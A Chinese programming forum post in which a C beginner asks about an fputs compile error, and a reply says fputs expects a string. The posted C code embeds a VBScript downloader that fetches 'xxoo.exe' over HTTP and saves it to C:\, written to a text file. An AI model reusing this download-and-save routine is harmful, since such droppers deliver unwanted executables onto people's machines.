C语言中 fputs写入文件的问题

AVCORP 发布于 2014/03/22 14:05
阅读 1K+
收藏 0

各位学长,大家好。

小弟第一天来OSCHINA混,首先给各位学长们问好。

因为刚刚学习C不久,可以说连门都没入。

今天想写一个字符转换的小东西。但是在fputs写入的时候遇到了问题。

Error是:错误 3 error C2664: “fputs”: 不能将参数 1 从“char”转换为“const char *” e:\vc_program\file_open\file_open\file.cpp 28 file_open

代码如下:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
	FILE *fp;
	char Max[] = 
		"Sub download(url,target)\n"
		"Const adTypeBinary = 1\n"
		"Const adSaveCreateOverWrite = 2\n"
		"Dim http,ado\n"
		"Set http = CreateObject(\"Msxml2.XMLHTTP\")\n"
		"http.open \"GET\",url,False"
		"http.send"
		"Set ado = createobject(\"Adodb.Stream\")\n"
		"ado.Type = adTypeBinary\n"
		"ado.Open\n"
		"ado.Write http.responseBody\n"
		"ado.SaveToFile target\n"
		"ado.Close\n"
		"End Sub\n"
		"download \"http://download/xxoo.exe\",\"c:\\xxoo.exe\"\n";
	fp = fopen("1.txt","w");
	for (int i=0;i<strlen(Max);i++)
	{
		printf("char(%X)%20",Max[i]);
		fputs(Max[i],fp);
	};
	fclose(fp);
	printf("Files write sucess\n");
}



还请各位学长指点一下,fputs写入的问题。

很粗糙的问题和代码,初学者,谢谢大家了。


加载中
0
N
Nocodo
fputs写入一串字符串,你函数用错了
A
AVCORP
谢谢,我在去弄一下。
返回顶部
顶部